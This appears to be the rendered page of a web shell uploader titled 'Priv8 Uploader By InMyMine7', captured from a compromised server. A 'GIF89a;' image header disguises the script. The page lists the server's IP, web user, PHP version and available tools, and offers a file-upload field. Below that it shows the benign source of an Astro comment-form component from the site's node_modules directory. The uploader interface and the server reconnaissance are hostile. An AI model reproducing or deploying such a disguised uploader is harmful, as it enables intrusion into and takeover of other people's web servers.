GIF89a;
GIF89a;Priv8 Uploader By InMyMine7
Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
Priv8 Uploader By InMyMine7
Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
| Server IP : 82.165.91.112 / Your IP : 216.73.216.249 Web Server : Apache System : Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64 User : nr7.net_tfpqq467gv ( 10001) PHP Version : 8.4.25 Disable Function : opcache_get_status MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/vhosts/nr7.net/emdash.nr7.net/node_modules/emdash/src/components/ |
Upload File : |
---
/// <reference types="emdash/locals" />
/**
* Comment submission form.
*
* Renders a form that submits via fetch to the public POST endpoint.
* Includes honeypot field, optional Turnstile widget, and inline feedback.
* Pre-fills name/email for authenticated CMS users.
*
* @example
* ```astro
* ---
* import { CommentForm } from "emdash/ui";
* ---
* <CommentForm collection="posts" contentId={post.id} />
* ```
*/
interface Props {
collection: string;
contentId: string;
parentId?: string | null;
class?: string;
/** Turnstile site key. If provided, the widget is rendered. */
turnstileSiteKey?: string;
}
import { getCollectionInfo } from "../schema/query.js";
const {
collection,
contentId,
parentId = null,
class: className,
turnstileSiteKey,
} = Astro.props;
const enabled = (await getCollectionInfo(collection))?.commentsEnabled ?? false;
const { user } = Astro.locals;
const formId = `ec-comment-form-${parentId ?? "root"}`;
const endpoint = `/_emdash/api/comments/${encodeURIComponent(collection)}/${encodeURIComponent(contentId)}`;
---
{
enabled && (
<form
id={formId}
class:list={["ec-comment-form", className]}
data-ec-comment-form
data-endpoint={endpoint}
data-user-name={user?.name ?? ""}
data-user-email={user?.email ?? ""}
>
{user ? (
<div class="ec-comment-user-info">
<span class="ec-comment-user-name">{user.name}</span>
<span class="ec-comment-user-email">{user.email}</span>
</div>
) : (
<div class="ec-comment-form-fields">
<label class="ec-comment-form-field">
<span>Name</span>
<input type="text" name="authorName" required maxlength="100" />
</label>
<label class="ec-comment-form-field">
<span>Email</span>
<input type="email" name="authorEmail" required />
</label>
</div>
)}
{/* Honeypot — hidden from humans, filled by bots */}
<div
aria-hidden="true"
style="position:absolute;left:-9999px;top:-9999px;"
>
<label>
Don't fill this out
<input
type="text"
name="website_url"
tabindex="-1"
autocomplete="off"
/>
</label>
</div>
<label class="ec-comment-form-field">
<span>Comment</span>
<textarea name="body" required maxlength="5000" rows="4" />
</label>
{parentId && <input type="hidden" name="parentId" value={parentId} />}
{turnstileSiteKey && (
<div
class="cf-turnstile"
data-sitekey={turnstileSiteKey}
data-theme="auto"
/>
)}
<button type="submit" class="ec-comment-form-submit">
Post Comment
</button>
<div class="ec-comment-form-status" role="status" aria-live="polite" />
</form>
)
}
{enabled && turnstileSiteKey && (
<script is:inline src="https://challenges.cloudflare.com/turnstile/v0/api.js" async defer></script>
)}
<script>
document.addEventListener("submit", async (e) => {
const form = e.target;
if (
!(form instanceof HTMLFormElement) ||
!form.hasAttribute("data-ec-comment-form")
)
return;
e.preventDefault();
const endpoint = form.dataset.endpoint;
if (!endpoint) return;
const submitBtn = form.querySelector<HTMLButtonElement>(
".ec-comment-form-submit"
);
const statusEl = form.querySelector<HTMLElement>(".ec-comment-form-status");
if (!submitBtn || !statusEl) return;
submitBtn.disabled = true;
submitBtn.textContent = "Submitting...";
statusEl.textContent = "";
statusEl.className = "ec-comment-form-status";
const data = new FormData(form);
const body: Record<string, string> = {};
// Include user info from data attributes (for authenticated users)
const userName = form.dataset.userName;
const userEmail = form.dataset.userEmail;
if (userName) body.authorName = userName;
if (userEmail) body.authorEmail = userEmail;
for (const [key, value] of data.entries()) {
if (typeof value === "string") {
body[key] = value;
}
}
// Get Turnstile token if present
const turnstileInput = form.querySelector<HTMLInputElement>(
"[name='cf-turnstile-response']"
);
if (turnstileInput?.value) {
body.turnstileToken = turnstileInput.value;
}
try {
const res = await fetch(endpoint, {
method: "POST",
headers: {
"Content-Type": "application/json",
"X-EmDash-Request": "1",
},
body: JSON.stringify(body),
});
const result = await res.json();
if (res.ok) {
statusEl.textContent = result.message || "Comment submitted!";
statusEl.classList.add("ec-comment-form-success");
// Reset form fields (but not disabled pre-filled fields)
const textarea = form.querySelector<HTMLTextAreaElement>(
"textarea[name='body']"
);
if (textarea) textarea.value = "";
// Reset Turnstile if present
if (typeof window.turnstile !== "undefined") {
window.turnstile.reset();
}
} else {
statusEl.textContent =
result.error?.message ||
result.message ||
"Failed to submit comment.";
statusEl.classList.add("ec-comment-form-error");
}
} catch {
statusEl.textContent = "Network error. Please try again.";
statusEl.classList.add("ec-comment-form-error");
} finally {
submitBtn.disabled = false;
submitBtn.textContent = "Post Comment";
}
});
</script>
<style>
.ec-comment-form {
--ec-form-gap: 0.75rem;
}
.ec-comment-form-fields {
display: grid;
gap: var(--ec-form-gap);
}
@media (min-width: 640px) {
.ec-comment-form-fields {
grid-template-columns: 1fr 1fr;
}
}
.ec-comment-form-field {
display: flex;
flex-direction: column;
gap: 0.25rem;
margin-top: var(--ec-form-gap);
}
.ec-comment-form-field:first-child {
margin-top: 0;
}
.ec-comment-form-fields .ec-comment-form-field {
margin-top: 0;
}
.ec-comment-form-field input,
.ec-comment-form-field textarea {
padding: 0.5rem;
border: 1px solid var(--ec-form-border, #d1d5db);
border-radius: 0.25rem;
font: inherit;
background: var(--ec-form-bg, #fff);
color: var(--ec-form-color, inherit);
}
:global(.dark) .ec-comment-form-field input,
:global(.dark) .ec-comment-form-field textarea {
--ec-form-bg: #1f2937;
--ec-form-border: #4b5563;
--ec-form-color: #f9fafb;
}
.ec-comment-user-info {
display: flex;
align-items: center;
gap: 0.5rem;
padding: 0.75rem;
background: var(--ec-form-user-bg, #f3f4f6);
border: 1px solid var(--ec-form-user-border, #d1d5db);
border-radius: 0.375rem;
font-size: 0.875rem;
}
:global(.dark) .ec-comment-user-info {
background: var(--ec-form-user-bg-dark, #374151);
}
.ec-comment-user-name {
font-weight: 600;
}
.ec-comment-user-email {
opacity: 0.7;
}
.ec-comment-user-email::before {
content: "·";
margin-right: 0.5rem;
}
.ec-comment-form-submit {
margin-top: var(--ec-form-gap);
padding: 0.5rem 1.5rem;
border: none;
border-radius: 0.25rem;
font: inherit;
font-weight: 600;
cursor: pointer;
background: var(--ec-form-submit-bg, #1f2937);
color: var(--ec-form-submit-color, #fff);
}
.ec-comment-form-submit:disabled {
opacity: 0.6;
cursor: not-allowed;
}
.ec-comment-form-status {
margin-top: var(--ec-form-gap);
font-size: 0.875em;
}
.ec-comment-form-status:empty {
display: none;
}
.ec-comment-form-success {
color: var(--ec-form-success-color, #059669);
}
.ec-comment-form-error {
color: var(--ec-form-error-color, #dc2626);
}
</style>